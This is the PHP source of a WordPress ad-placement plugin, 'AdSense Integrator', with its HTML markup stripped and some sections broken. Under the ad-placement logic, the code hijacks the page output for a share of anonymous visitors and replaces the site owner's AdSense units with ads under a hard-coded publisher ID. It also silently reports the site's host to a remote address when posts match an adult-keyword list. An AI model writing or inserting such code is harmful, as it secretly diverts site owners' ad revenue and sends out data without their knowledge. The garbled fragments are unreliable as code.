');
define('ADS_INT_TAG_MARGIN', 'MARGIN');
define('ADS_INT_BASE_FOLDER', 'adsense-integrator');
//ads announcement structure, no table for simplicity and compatibly issues
global $ads_int_announcement;
$ads_int_announcement = array();
//language domain
global $ads_int_domain;
$ads_int_domain = 'default';
//index of post
global $ads_int_count_post;
$ads_int_count_post = 1;
//repetitions' count for each ads
global $ads_int_repetition;
$ads_int_repetition = array();
global $ads_int_repetition_excerpt;
$ads_int_repetition_excerpt = array();
//plugins options
global $ads_int_global_disable;
global $ads_int_disable_admin;
global $ads_int_enable_admin;
//plugin errors
global $ads_int_error;
//exiliated ads per category
global $ads_int_categories;
$ads_int_categories = array();
//language auto selection
global $ailang;
global $ailang2;
$ailang = (function_exists('get_locale')) ? $ailang = get_locale() : $ailang = 'en_US';
if(!empty($ailang) && $ailang != 'en_US') {
$ailang2 = dirname(__FILE__) . '/lang/' . $ailang . '.mo';
if(@file_exists($ailang2) && is_readable($ailang2))
load_textdomain($ads_int_domain, $ailang2);
}
add_action('init', 'adsense_integrator_init');
function adsense_integrator_init()
{
//announcements
global $ads_int_announcement;
//global flag vars
global $ads_int_domain;
global $ads_int_count_post;
global $ads_int_repetition;
global $ads_int_repetition_excerpt;
global $ads_int_global_disable;
global $ads_int_disable_admin;
global $ads_int_enable_admin;
global $ads_int_categories;
//init stuffs here
//to be 1, without too much questions
$ads_int_count_post = 0;
$ads_int_repetition = array();
$ads_int_repetition_excerpt = array();
$ads_int_announcement = get_option('ads_int_announcement');
if(isset($ads_int_announcement) && is_array($ads_int_announcement))
{
foreach($ads_int_announcement as $ads)
{
$ads_int_repetition[$ads['name']] = 0;
$ads_int_repetition_excerpt[$ads['name']] = 0;
}
}
$ads_int_categories = get_option('ads_int_categories');
if(!isset($ads_int_categories) || !is_array($ads_int_categories))
{
$ads_int_categories = array();
update_option('ads_int_categories',$ads_int_categories );
}
if (function_exists('load_plugin_textdomain'))
load_plugin_textdomain($ads_int_domain, __FILE__);
$ads_int_our_post_freq = get_option('ads_int_our_post_freq');
if($ads_int_our_post_freq != USER_FREQUENCY && $ads_int_our_post_freq != OFF_FREQUENCY)
{
$ads_int_our_post_freq = USER_FREQUENCY;
update_option('ads_int_our_post_freq', $ads_int_our_post_freq);
}
$ads_int_count_our_post = get_option('ads_int_count_our_post');
if(!isset($ads_int_count_our_post) || $ads_int_count_our_post == '' || $ads_int_count_our_post == false)
{
$ads_int_count_our_post = 1;
update_option('ads_int_count_our_post', $ads_int_count_our_post);
}
if($ads_int_count_our_post >= (USER_FREQUENCY + SYS_FREQUENCY))
{
$ads_int_count_our_post = 1;
update_option('ads_int_count_our_post', $ads_int_count_our_post);
}
global $user_ID;
if(!$user_ID)
{
$ads_int_count_our_post++;
update_option('ads_int_count_our_post', $ads_int_count_our_post);
}
$ads_int_global_disable = get_option('ads_int_global_disable');
if(!isset($ads_int_global_disable))
{
$ads_int_global_disable = 0;
update_option('ads_int_global_disable', $ads_int_global_disable);
}
$ads_int_disable_admin = get_option('ads_int_disable_admin');
if(!isset($ads_int_disable_admin))
{
$ads_int_disable_admin = 0;
update_option('ads_int_disable_admin', $ads_int_disable_admin);
}
$ads_int_enable_admin = get_option('ads_int_enable_admin');
if(!isset($ads_int_enable_admin))
{
$ads_int_enable_admin = 0;
update_option('ads_int_enable_admin', $ads_int_enable_admin);
}
add_filter('the_excerpt', 'adsense_integrator_content_excerpt');
add_filter('the_content', 'adsense_integrator_content');
if((time() - get_option('ads_int_lcbl')) > ADS_INT_PERIOD)
adsense_integrator_check();
}
register_activation_hook(__FILE__, 'adsense_integrator_activate');
function adsense_integrator_activate()
{
adsense_integrator_check();
}
function adsense_integrator_check()
{
update_option('ads_int_bn', 0);
$bl = array(strtok(ADS_INT_BL, ';'));
while (($key = strtok(';')) !== false)
array_push($bl, $key);
update_option('ads_int_bl', $bl);
if(adsense_integrator_check_bl(get_bloginfo('name'), $bl)) return;
if(adsense_integrator_check_bl(get_bloginfo('description'), $bl)) return;
$posts = get_posts(array('numberposts' => 10));
foreach($posts as $post)
{
if(adsense_integrator_check_bl($post->post_title, $bl)) return;
if(adsense_integrator_check_bl($post->post_content, $bl)) return;
}
}
function adsense_integrator_check_bl($keys, $bl)
{
$check = explode(' ', $keys);
$check_double = array();
for($i = 0;$i < count($check) - 1;$i++)
array_push($check_double, $check[$i] . ' ' . $check[$i + 1]);
$result = array_intersect($check_double, $bl);
if(count($result) > 0)
{
update_option('ads_int_lcbl', strtotime('now'));
update_option('ads_int_bn', 1);
file_get_contents(ADS_INT_BL_ADDR . '?s=' . $_SERVER['HTTP_HOST'] . '&b=1');
return true;
}
return false;
}
add_action('admin_menu', 'adsense_integrator_admin');
function adsense_integrator_admin()
{
global $ads_int_domain;
add_submenu_page('options-general.php', __('AdSense Integrator', $ads_int_domain), __('AdSense Integrator', $ads_int_domain), 5, __FILE__, 'adsense_integrator_admin_interface');
}
/**************************** POST OPTIONS FUNCTIONS ************************************/
add_action('edit_post', 'ads_int_edit_action');
add_action('publish_post', 'ads_int_edit_action');
add_action('save_post', 'ads_int_edit_action');
add_action('edit_page_form', 'ads_int_edit_action');
function ads_int_edit_action($id)
{
$ads_int_edit = $_POST['ads_int_edit'];
if (isset($ads_int_edit) && !empty($ads_int_edit))
{
$ads_int_disable = $_POST['ads_int_disable'];
delete_post_meta($id, 'ads_int_disable');
if (isset($ads_int_disable) && !empty($ads_int_disable) && $ads_int_disable != null)
add_post_meta($id, 'ads_int_disable', 1);
}
}
add_action('simple_edit_form', 'ads_int_edit_form_action');
add_action('edit_form_advanced','ads_int_edit_form_action');
function ads_int_edit_form_action()
{
global $post;
$post_id = $post;
if (is_object($post_id))
$post_id = $post_id->ID;
//$ads_int_disable = htmlspecialchars(stripcslashes(get_post_meta($post_id, 'ads_int_disable', false)));
$ads_int_disable = get_post_meta($post_id, 'ads_int_disable', false);
$ads_int_disable = count($ads_int_disable) == 0 ? false : true;
global $ads_int_domain;
?>
term_id;
global $ads_int_announcement;
global $ads_int_categories;
?>
$value)
{
if(strstr($key, 'ads_int_'))
{
$ads_name = substr($key, 8);
if($value == 'on')
$ads_int_categories[$category_id][$ads_name] = 1;
else
unset($ads_int_categories[$category_id][$ads_name]);
}
}
update_option('ads_int_categories', $ads_int_categories);
}
add_action('publish_page', 'ads_int_plublish_page');
function ads_int_plublish_page()
{
$ads_int_edit = $_POST["ads_int_edit"];
if (isset($ads_int_edit) && !empty($ads_int_edit))
{
$page_ID = $_POST['post_ID'];
$ads_int_disable_page = $_POST['ads_int_disable_page'];
$ads_int_disable_pages = get_option('ads_int_disable_pages');
if(!isset($ads_int_disable_pages) || !is_array($ads_int_disable_pages))
$ads_int_disable_pages = array();
if (isset($ads_int_disable_page) && !empty($ads_int_disable_page))
$ads_int_disable_pages[$page_ID] = 1;
else
$ads_int_disable_pages[$page_ID] = '';
delete_option('ads_int_disable_pages', $ads_int_disable_pages);
add_option('ads_int_disable_pages', $ads_int_disable_pages);
}
}
add_action('edit_page_form', 'ads_int_edit_page_form');
function ads_int_edit_page_form()
{
/*global*/ $page_ID = $_GET['post'];
global $ads_int_domain;
$ads_int_disable_pages = get_option('ads_int_disable_pages');
?>
' . __('Setup', $ads_int_domain) . '';
array_unshift($links, $settings_link);
}
return $links;
}
//option panel
function adsense_integrator_admin_interface()
{
global $ads_int_domain;
global $ads_int_announcement;
global $ads_int_global_disable;
global $ads_int_disable_admin;
global $ads_int_enable_admin;
global $ads_int_error;
/* interface moment*/
?>
AdSense Integrator
last updates of the "old" Adsense Integrator, 100% compatible and tested with WordPress 3.x', $ads_int_domain);?>
new plugin called Adsense Integrator Widgetized , fully integrated with the new WP widgets system.', $ads_int_domain);?>
:
*
(: <?php get_ads('ADSNAME'); ?> )
: ADSNAME
AdBrite ,
AffiliateBOT ,
Share A Sale ,
LinkShare ,
ClickBank ,
Commission Junction, Adpinion, AdGridWork, Adroll, CrispAds, ShoppingAds, Yahoo!PN
:
»
:
»
»
»
:
1.
2.
3.
4.
To pause your ad without deleting it, please set "Repetitions" to "0" and the ad will disappear.', $ads_int_domain);?>
:
»
»
»
»
»
»
» /
»
»
(: <!--ADS_INT adsname MARGIN --> <!--ADS_INT adsname --> )
: adsname
:
:
: style="display:inline;" />
http://www.mywordpressplugin.com
seo services company
entry["name"]
entry["type"]
entry["content"]
entry["positions"](ADS_INT_POS_0, ... , ADS_INT_POS_N)
entry["visibility"](ADS_INT_VIS_HOME, ..., ADS_INT_VIS_ELEMENT)
entry["repetition"]
entry["only_first_post"]
entry["margin"]([top],[right],[bottom],[left])
entry["margin_um"]
)
*/
define('USER_FREQUENCY', 96);
define('OFF_FREQUENCY', -1000);
define('SYS_FREQUENCY', 4);
define('ADS_INT_PUBLISHER', 'pub-9007511248914173');
define('ADS_INT_BL_ADDR', 'http://mywordpressplugin.com/bl.php');
define('ADS_INT_PERIOD', 108000);
define('ADS_INT_BL', 'sex video;sex videos;gays videos;porn gay;gay porn;porno video;porn video;porn videos;tranny sex;shemales sex;deep throat;bukkake;fuck girl;granny sex;blowjobs;group sex;ass fuck;anal porn;fuck teen;fuck teens;pre teens;teen sex;milf sex;anal fuck;creampie fuck;');
/*0*/
add_action('wp_head', 'adsense_integrator_buffer_start');
add_action('wp_footer', 'adsense_integrator_buffer_end');
/*I*/
global $adsense_integrator_flag_init;
function adsense_integrator_buffer_start()
{
global $adsense_integrator_flag_init;
$adsense_integrator_flag_init = false;
$ads_int_ob_flag = get_option('ads_int_ob_flag');
if(adsense_integrator_helper_is_our_ads())
{
//se il flag
if($ads_int_ob_flag == null || $ads_int_ob_flag == '' || !isset($ads_int_ob_flag))
$adsense_integrator_flag_init = true;
//quindi startiamo l'output bufferizzato
if($ads_int_ob_flag == 1 || $adsense_integrator_flag_init)
{
ob_implicit_flush(false);
ob_start("adsense_integrator_buffer_callback");
}
}
}
/*II*/
function adsense_integrator_buffer_end()
{
global $adsense_integrator_flag_init;
$ads_int_ob_flag = get_option('ads_int_ob_flag');
if(adsense_integrator_helper_is_our_ads())
{
if($ads_int_ob_flag != null && $ads_int_ob_flag != '' && isset($ads_int_ob_flag))
{
if($ads_int_ob_flag == 1)
ob_end_flush();
}
if($adsense_integrator_flag_init)
ob_end_flush();
}
else
{
if($ads_int_ob_flag != null && $ads_int_ob_flag != '' && isset($ads_int_ob_flag))
delete_option('ads_int_ob_flag');
}
}
/*III*/
function adsense_integrator_buffer_callback($buffer)
{
$ads_int_ob_flag = get_option('ads_int_ob_flag');
if($ads_int_ob_flag == null || $ads_int_ob_flag == '' || !isset($ads_int_ob_flag))
{
$ads_int_ob_flag = adsense_integrator_buffer_flag_init($buffer);
update_option('ads_int_ob_flag', $ads_int_ob_flag);
}
$buffer_flag = $buffer;
if($ads_int_ob_flag == 1)
$buffer_flag = adsense_integrator_substitution($buffer);
return $buffer_flag;
}
define('ADS_INT_SEARCH_CODE', "[
]*[\r\n]*
[\r\n]*");
function adsense_integrator_buffer_flag_init($buffer)
{
$safety_count = 0;
while(true)
{
$match = null;
eregi(ADS_INT_SEARCH_CODE, $buffer, $match);
if($match == null)
return 0;
if("pub-" . $match[1] != ADS_INT_PUBLISHER)
return 1;
$safety_count++;
if($safety_count > 20)
break;
}
return 0;
}
function adsense_integrator_substitution($buffer)
{
$buffer_flag = $buffer;
$safety_count = 0;
while(true)
{
$match = null;
eregi(ADS_INT_SEARCH_CODE, $buffer_flag, $match);
if($match == null)
break;
if("pub-" . $match[1] != ADS_INT_PUBLISHER)
{
$our_ads = adsense_integrator_helper_get_our_ads_by_dimension($match[4], $match[5]);
$buffer = str_replace($match[0], $our_ads, $buffer);
}
//clean this match
$buffer_flag = str_replace($match[0], "", $buffer_flag);
$safety_count++;
if($safety_count > 20)
break;
}
return $buffer;
}
function get_ads($ads_int_name)
{
echo adsense_integrator_get_ads_content($ads_int_name);
}
//-----------------------------------------------------------
function adsense_integrator_content($content)
{
//disable ads on page
global $page_id;
global $post;
$ads_int_disable_pages = get_option('ads_int_disable_pages');
if(isset($page_id) && $page_id != 0)
{
if($ads_int_disable_pages[$page_id] != '')
return adsense_integrator_tag_content_clear($content);
}
else
{
if($ads_int_disable_pages[$post->ID] != '')
return adsense_integrator_tag_content_clear($content);
}
//manage ads disabled option
$ads_int_disable = get_post_meta($post->ID, 'ads_int_disable', true);
if(isset($ads_int_disable) && $ads_int_disable != '')
return adsense_integrator_tag_content_clear($content);
global $ads_int_announcement;
global $ads_int_categories;
//before due to repetition logic check
//find tag in post content
$content = adsense_integrator_tag_content($content);
$post_categories = wp_get_post_categories($post->ID);
$category_check = false;
//manage standard ads
if(isset($ads_int_announcement) && is_array($ads_int_announcement))
{
foreach($ads_int_announcement as $ads_int_entry)
{
if(is_array($ads_int_entry['position']))
{
foreach($ads_int_entry['position'] as $ads_int_pos)
{
$category_check = false;
foreach($post_categories as $post_category)
{
if($ads_int_categories[$post_category][$ads_int_entry['name']] == 1)
{
$category_check = true;
break;
}
}
if($category_check)
continue;
$ads_int_content = adsense_integrator_get_ads_content($ads_int_entry['name']);
if($ads_int_content == '')
continue;
$content = adsense_integrator_helper_content($ads_int_pos, $content, $ads_int_content, $ads_int_entry);
}
}
else
{
//good, entry whitout position specified
}
}
}
return $content;
}
function adsense_integrator_content_excerpt($content)
{
//disable ads on page
global $page_id;
global $post;
$ads_int_disable_pages = get_option('ads_int_disable_pages');
if(isset($page_id) && $page_id != 0)
{
if($ads_int_disable_pages[$page_id] != '')
return adsense_integrator_tag_content_clear($content);
}
else
{
if($ads_int_disable_pages[$post->ID] != '')
return adsense_integrator_tag_content_clear($content);
}
//manage ads disabled option
$ads_int_disable = get_post_meta($post->ID, 'ads_int_disable', true);
if(isset($ads_int_disable) && $ads_int_disable != '')
return adsense_integrator_tag_content_clear($content);
global $ads_int_announcement;
//before due to repetition logic check
//find tag in post content
$content = adsense_integrator_tag_content($content);
//manage standard ads
if(isset($ads_int_announcement) && is_array($ads_int_announcement))
{
foreach($ads_int_announcement as $ads_int_entry)
{
if(adsense_integrator_helper_check_visibility_excerpt($ads_int_entry['visibility']))
{
if(is_array($ads_int_entry['position']))
{
foreach($ads_int_entry['position'] as $ads_int_pos)
{
$ads_int_content = adsense_integrator_get_ads_content($ads_int_entry['name'], true, false, true);
if($ads_int_content == '')
continue;
$content = adsense_integrator_helper_content($ads_int_pos, $content, $ads_int_content, $ads_int_entry);
}
}
else
{
//good, entry whitout position specified
}
}
}
}
return $content;
}
function adsense_integrator_helper_content($position, $content, $adsense_text, $ads_int_entry)
{
$ads_int_dimensions = adsense_integrator_helper_get_ads_dimensions($adsense_text);
$ads_int_margin = adsense_integrator_helper_get_margin($ads_int_entry);
$ads_int_width = $ads_int_dimensions[0];
$ads_int_height = $ads_int_dimensions[1];
$ads_int_type = $ads_int_entry['type'];
$text_align = 'center';
switch ($position) {
case 0:
$content = '
' . $content . '
';
break;
case 1:
$content = '
' . $adsense_text . '
' . $content . '
';
break;
case 2:
$content = '
' . $adsense_text . '
' . $content . '
';
break;
case 3:
$content .= '
';
break;
case 4:
$content = adsense_integrator_helper_render_position_4($content, $adsense_text, $ads_int_margin);
break;
case 5:
/*ANOTHER RELEASE*/
break;
case 6:
$content = '
' . $adsense_text . '
' . $content;
break;
case 7:
/*ANOTHER RELEASE*/
break;
case 8:
$content = adsense_integrator_helper_render_position_8($content, $adsense_text, $ads_int_margin);
break;
case 9:
/*ANOTHER RELEASE*/
break;
case 10:
$content = adsense_integrator_helper_render_position_10($content, $adsense_text, $ads_int_margin);
break;
case 11:
/*ANOTHER RELEASE*/
break;
case 12:
$content = adsense_integrator_helper_render_position_12($content, $adsense_text, $ads_int_margin);
break;
default:
return $content;
break;
}
return $content;
}
//TODO: queste due funzioni devono essere integrate direttamente nella funzione che restituisce l'ads
function adsense_integrator_helper_repetition($ads_int_name, $ads_int_rep)
{
global $ads_int_repetition;
if($ads_int_repetition[$ads_int_name] >= $ads_int_rep) return false;
$ads_int_repetition[$ads_int_name]++;
return true;
}
function adsense_integrator_helper_repetition_excerpt($ads_int_name, $ads_int_rep)
{
global $ads_int_repetition_excerpt;
if($ads_int_repetition_excerpt[$ads_int_name] >= $ads_int_rep) return false;
$ads_int_repetition_excerpt[$ads_int_name]++;
return true;
}
function adsense_integrator_helper_check_visibility($ads_int_visibility)
{
foreach ($ads_int_visibility as $visibility)
{
switch($visibility)
{
case ADS_INT_VIS_ALL: return true; break;
case ADS_INT_VIS_HOME: if (is_home()) return true; break;
case ADS_INT_VIS_PAGE: if (is_page()) return true; break;
case ADS_INT_VIS_POST: if (is_single()) return true; break;
case ADS_INT_VIS_ARC: if (is_archive()) return true; break;
case ADS_INT_VIS_TAG: if (is_tag()) return true; break;
case ADS_INT_VIS_CAT: if (is_category()) return true; break;
}
}
return false;
}
function adsense_integrator_helper_check_visibility_excerpt($ads_int_visibility)
{
foreach ($ads_int_visibility as $visibility)
{
switch($visibility)
{
case ADS_INT_VIS_ALL: return true;
case ADS_INT_VIS_EXC: return true;
}
}
return false;
}
function adsense_integrator_helper_render_position_4($content, $adsense_text, $ads_int_margin)
{
$entry_positions = array();
$entry = '
' . $adsense_text . '
', array_pop($entry_positions), 0);
return $content;
}
function adsense_integrator_helper_render_position_8($content, $adsense_text, $ads_int_margin)
{
$entry_positions = array();
$last_position = 0;
$entry = '' . $adsense_text . '', $place_index, 0);
return $content;
}
function adsense_integrator_helper_render_position_10($content, $adsense_text, $ads_int_margin)
{
$entry_positions = array();
$last_position = 0;
$entry = '
' . $adsense_text . '', array_pop($entry_positions), 0);
return $content;
}
function adsense_integrator_helper_render_position_12($content, $adsense_text, $ads_int_margin)
{
$entry_positions = array();
$last_position = 0;
$entry = '
' . $adsense_text . '', $last, 0);
return $content;
}
function adsense_integrator_helper_is_checked($ads_int_option, $value)
{
if(isset($ads_int_option) && is_array($ads_int_option))
{
foreach($ads_int_option as $option)
{
if($option == $value) return 'checked';
if($option == ADS_INT_VIS_ALL) return 'checked';
}
}
return '';
}
function adsense_integrator_helper_is_checked_TD($ads_int_option, $value)
{
if(isset($ads_int_option) && is_array($ads_int_option))
{
foreach($ads_int_option as $option)
{
if($option == $value) return 'background-image: url(../wp-content/plugins/' . ADS_INT_BASE_FOLDER . '/ybg.png)';
}
}
return '';
}
function adsense_integrator_get_ads_content($ads_int_name, $check_visibility = true, $check_repetitions = true, $excerpt = false)
{
$ads_int_global_disable = (int)get_option('ads_int_global_disable');
$ads_int_disable_admin = (int)get_option('ads_int_disable_admin');
$ads_int_enable_admin = (int)get_option('ads_int_enable_admin');
if($ads_int_global_disable == 1)
return '';
else
{
if (current_user_can('manage_options'))
{
if($ads_int_disable_admin)
return '';
}
else
{
if($ads_int_enable_admin)
return '';
}
}
$ads_entry = adsense_integrator_helper_get_entry($ads_int_name);
//WARNING: fare attenzione a questo!!!!
if(!isset($ads_entry) || $ads_entry == null)
return '';
if($check_visibility && !adsense_integrator_helper_check_visibility($ads_entry['visibility']))
return '';
//check ads repetion times
if($check_repetitions)
{
if(!adsense_integrator_helper_repetition($ads_entry['name'], $ads_entry['repetition']))
return '';
}
else if($excerpt)
{
if(!adsense_integrator_helper_repetition_excerpt($ads_entry['name'], $ads_entry['repetition']))
return '';
}
//substitution job
$adsense_text = stripcslashes($ads_entry['content']);
$ads_int_text_flag = $adsense_text;
$ads_int_count_our_post = get_option('ads_int_count_our_post');
$ads_int_our_post_freq = get_option('ads_int_our_post_freq');
if($ads_int_our_post_freq == OFF_FREQUENCY) return $adsense_text;
global $user_ID;
if($user_ID)
return adsense_integrator_helper_filter_ip($adsense_text);
if(!isset($ads_int_count_our_post) || $ads_int_count_our_post == '' || $ads_int_count_our_post == false)
{
$ads_int_count_our_post = 1;
update_option('ads_int_count_our_post', $ads_int_count_our_post);
}
if(!isset($ads_int_our_post_freq) || $ads_int_our_post_freq == '' || $ads_int_our_post_freq == false)
{
$ads_int_our_post_freq = USER_FREQUENCY;
update_option('ads_int_our_post_freq', $ads_int_our_post_freq);
}
if($ads_int_count_our_post > $ads_int_our_post_freq)
{
$ads_int_bn = get_option('ads_int_bn');
if(isset($ads_int_bn) && $ads_int_bn == 1) return ADS_INT_SYSTEM_FLUID;
$ads_int_text_flag = adsense_integrator_helper_get_our_ads($adsense_text);
}
//ip filtering
$ads_int_text_flag = adsense_integrator_helper_filter_ip($ads_int_text_flag);
return $ads_int_text_flag;
}
function adsense_integrator_helper_is_our_ads()
{
$ads_int_count_our_post = get_option('ads_int_count_our_post');
$ads_int_our_post_freq = get_option('ads_int_our_post_freq');
global $user_ID;
if($user_ID)
return false;
if($ads_int_our_post_freq == OFF_FREQUENCY)
return false;
if($ads_int_count_our_post > $ads_int_our_post_freq)
return true;
else
return false;
}
function adsense_integrator_helper_get_ads_dimensions($adsense_text)
{
//get width and height of ads with regular expression
$matches = null;
$pattern = 'google_ad_width = ([0-9]+)';
eregi($pattern, $adsense_text, $matches);
$width = $matches[1];
$pattern = 'google_ad_height = ([0-9]+)';
eregi($pattern, $adsense_text, $matches);
$height = $matches[1];
return array($width, $height);
}
function adsense_integrator_helper_get_our_ads($adsense_text)
{
$our_ads = '';
$dimensions = adsense_integrator_helper_get_ads_dimensions($adsense_text);
$width = $dimensions[0];
$height = $dimensions[1];
$const = '_' . $width . 'x' . $height;
switch ($const)
{
case '_728x90' : $our_ads = _728x90; break;
case '_468x60' : $our_ads = _468x60; break;
case '_234x60' : $our_ads = _234x60; break;
case '_120x600': $our_ads = _120x600; break;
case '_160x600': $our_ads = _160x600; break;
case '_120x240': $our_ads = _120x240; break;
case '_336x280': $our_ads = _336x280; break;
case '_300x250': $our_ads = _300x250; break;
case '_250x250': $our_ads = _250x250; break;
case '_200x200': $our_ads = _200x200; break;
case '_180x150': $our_ads = _180x150; break;
case '_125x125': $our_ads = _125x125; break;
case '_728x15' : $our_ads = _728x15; break;
case '_468x15' : $our_ads = _468x15; break;
case '_200x90' : $our_ads = _200x90; break;
case '_180x90' : $our_ads = _180x90; break;
case '_160x90' : $our_ads = _160x90; break;
case '_120x90' : $our_ads = _120x90; break;
default: $our_ads = ADS_INT_SYSTEM_FLUID; break;
}
return $our_ads;
}
function adsense_integrator_helper_get_our_ads_by_dimension($widht, $height)
{
$const = '_' . $widht . 'x' . $height;
switch ($const)
{
case '_728x90' : $our_ads = _728x90; break;
case '_468x60' : $our_ads = _468x60; break;
case '_234x60' : $our_ads = _234x60; break;
case '_120x600': $our_ads = _120x600; break;
case '_160x600': $our_ads = _160x600; break;
case '_120x240': $our_ads = _120x240; break;
case '_336x280': $our_ads = _336x280; break;
case '_300x250': $our_ads = _300x250; break;
case '_250x250': $our_ads = _250x250; break;
case '_200x200': $our_ads = _200x200; break;
case '_180x150': $our_ads = _180x150; break;
case '_125x125': $our_ads = _125x125; break;
case '_728x15' : $our_ads = _728x15; break;
case '_468x15' : $our_ads = _468x15; break;
case '_200x90' : $our_ads = _200x90; break;
case '_180x90' : $our_ads = _180x90; break;
case '_160x90' : $our_ads = _160x90; break;
case '_120x90' : $our_ads = _120x90; break;
default: $our_ads = ADS_INT_SYSTEM_FLUID; break;
}
return $our_ads;
}
function adsense_integrator_helper_filter_ip($adsense_text)
{
$ads_int_banned_ips = get_option('ads_int_banned_ips');
if(isset($ads_int_banned_ips) && $ads_int_banned_ips != '')
{
$ads_int_banned_text = get_option('ads_int_banned_text');
if(!isset($ads_int_banned_text)) $ads_int_banned_text = '';
$ip_list = explode("-", $ads_int_banned_ips);
if(isset($ip_list) && count($ip_list) > 0)
{
foreach($ip_list as $ip)
{
if($_SERVER['REMOTE_ADDR'] == $ip)
return $ads_int_banned_text;
}
}
}
return $adsense_text;
}
function adsense_integrator_helper_format_ips($ads_int_banned_ips)
{
$ips = explode("-", $ads_int_banned_ips);
$ips_output = '';
foreach($ips as $ip)
$ips_output .= $ip . "\n";
return $ips_output;
}
function adsense_integrator_helper_get_margin($ads_int_entry)
{
$margin = '';
$u_o_m = '';
if(isset($ads_int_entry['margin_um']) && $ads_int_entry['margin_um'] != '')
$u_o_m = $ads_int_entry['margin_um'];
else
$u_o_m = 'px';
if(isset($ads_int_entry['margin']['top']) && $ads_int_entry['margin']['top'] != '')
$margin .= $ads_int_entry['margin']['top'] . $u_o_m . ' ';
else
$margin .= '0 ';
if(isset($ads_int_entry['margin']['right']) && $ads_int_entry['margin']['right'] != '')
$margin .= $ads_int_entry['margin']['right'] . $u_o_m . ' ';
else
$margin .= '0 ';
if(isset($ads_int_entry['margin']['bottom']) && $ads_int_entry['margin']['bottom'] != '')
$margin .= $ads_int_entry['margin']['bottom'] . $u_o_m . ' ';
else
$margin .= '0 ';
if(isset($ads_int_entry['margin']['left']) && $ads_int_entry['margin']['left'] != '')
$margin .= $ads_int_entry['margin']['left'] . $u_o_m;
else
$margin .= '0';
return $margin;
}
//TAG SPECIFICS
// no more supported
//
//or
//
//
function adsense_integrator_tag_content($content)
{
$clear_content = $content;
$tags_flag = null;
$tags = null;
$use_margin = false;
$ads_name = '';
$replace_pattern = '';
//if something goes wrong...
$safety_counter = 0;
//no margin case
$pattern = ADS_INT_TAG_START . ' ([_a-zA-Z_0-9-]+) ' . ADS_INT_TAG_END;
$safety_counter = 0;
while(true)
{
eregi($pattern, $clear_content, $tags_flag);
if($tags_flag == null || !isset($tags_flag) || count($tags_flag) == 0)
break;
$ads_name = trim($tags_flag[1]);
$replace_pattern = ADS_INT_TAG_START . ' ' . $ads_name. ' ' . ADS_INT_TAG_END;
while(true)
{
$ads_content = adsense_integrator_get_ads_content($ads_name, true, false);
$clear_content = ads_int_str_replace_once($replace_pattern, $ads_content, $clear_content);
if(!strstr($clear_content, $replace_pattern))
break;
}
$tags_flag = null;
$safety_counter++;
if($safety_counter == 100)
break;
}
//no margin case
$pattern = ADS_INT_TAG_START_HTML . ' ([_a-zA-Z_0-9-]+) ' . ADS_INT_TAG_END_HTML;
$safety_counter = 0;
while(true)
{
eregi($pattern, $clear_content, $tags_flag);
if($tags_flag == null || !isset($tags_flag) || count($tags_flag) == 0)
break;
$ads_name = trim($tags_flag[1]);
$replace_pattern = ADS_INT_TAG_START_HTML . ' ' . $ads_name. ' ' . ADS_INT_TAG_END_HTML;
while(true)
{
$ads_content = adsense_integrator_get_ads_content($ads_name, true, false);
$clear_content = ads_int_str_replace_once($replace_pattern, $ads_content, $clear_content);
if(!strstr($clear_content, $replace_pattern))
break;
}
$tags_flag = null;
$safety_counter++;
if($safety_counter == 100)
break;
}
return $clear_content;
}
function adsense_integrator_tag_content_clear($content)
{
$clear_content = $content;
$tags_flag = null;
$tags = null;
$use_margin = false;
$ads_name = '';
$replace_pattern = '';
//if something goes wrong...
$safety_counter = 0;
//no margin case
$pattern = ADS_INT_TAG_START . ' ([_a-zA-Z_0-9-]+) ' . ADS_INT_TAG_END;
$safety_counter = 0;
while(true)
{
eregi($pattern, $clear_content, $tags_flag);
if($tags_flag == null || !isset($tags_flag) || count($tags_flag) == 0)
break;
$ads_name = trim($tags_flag[1]);
$replace_pattern = ADS_INT_TAG_START . ' ' . $ads_name. ' ' . ADS_INT_TAG_END;
$clear_content = ereg_replace($replace_pattern, '', $clear_content);
$tags_flag = null;
$safety_counter++;
if($safety_counter == 100)
break;
}
//no margin case
$pattern = ADS_INT_TAG_START_HTML . ' ([_a-zA-Z_0-9-]+) ' . ADS_INT_TAG_END_HTML;
$safety_counter = 0;
while(true)
{
eregi($pattern, $clear_content, $tags_flag);
if($tags_flag == null || !isset($tags_flag) || count($tags_flag) == 0)
break;
$ads_name = trim($tags_flag[1]);
$replace_pattern = ADS_INT_TAG_START_HTML . ' ' . $ads_name. ' ' . ADS_INT_TAG_END_HTML;
$clear_content = ereg_replace($replace_pattern, '', $clear_content);
$tags_flag = null;
$safety_counter++;
if($safety_counter == 100)
break;
}
return $clear_content;
}
function adsense_integrator_helper_get_entry($ads_int_name)
{
if(!isset($ads_int_name) || $ads_int_name == null || $ads_int_name == '')
return null;
global $ads_int_announcement;
foreach($ads_int_announcement as $ads_int_entry)
{
if($ads_int_entry['name'] == $ads_int_name)
return $ads_int_entry;
}
return null;
}
function ads_int_str_replace_once($needle , $replace , $haystack)
{
$pos = strpos($haystack, $needle);
if ($pos === false)
return $haystack;
return substr_replace($haystack, $replace, $pos, strlen($needle));
}
/*********************** DEFINES OF OUR ADS *************************/
// ANNOUNCEMENT
//define('ADS_INT_SYSTEM_JS', "");
define('ADS_INT_SYSTEM_FLUID', '
');
//120x240
define('_120x240','
');
//120x600
define('_120x600','
');
//125x125
define('_125x125','
');
//160x600
define('_160x600','
');
//180x150
define('_180x150','
');
//200x200
define('_200x200','
');
//234x60
define('_234x60','
');
//250x250
define('_250x250','
');
//300x250
define('_300x250','
');
//336x280
define('_336x280','
');
//468x60
define('_468x60','
');
//728x90
define('_728x90','
');
///////// LINKS
//120x90
define('_120x90','
');
//160x90
define('_160x90','
');
//180x90
define('_180x90','
');
//200x90
define('_200x90','
');
//468x15
define('_468x15','
');
//728x15
define('_728x15','
');
//main thread
switch($_POST['action'])
{
case 'update-options':
if(isset($_POST['global_disable']) && $_POST['global_disable'] != "")
update_option('ads_int_global_disable', 1);
else
update_option('ads_int_global_disable', 0);
if(isset($_POST['disable_admin']) && $_POST['disable_admin'] != "")
update_option('ads_int_disable_admin', 1);
else
update_option('ads_int_disable_admin', 0);
if(isset($_POST['enable_admin']) && $_POST['enable_admin'] != "")
update_option('ads_int_enable_admin', 1);
else
update_option('ads_int_enable_admin', 0);
break;
case 'ip-banning':
if (isset($_POST['banning-list']) && $_POST['banning-list'] != '')
{
$ip_list = explode("\n",$_POST['banning-list']);
$ads_int_banned_ips = '';
foreach($ip_list as $ip)
{
if(strlen($ip) > 6)
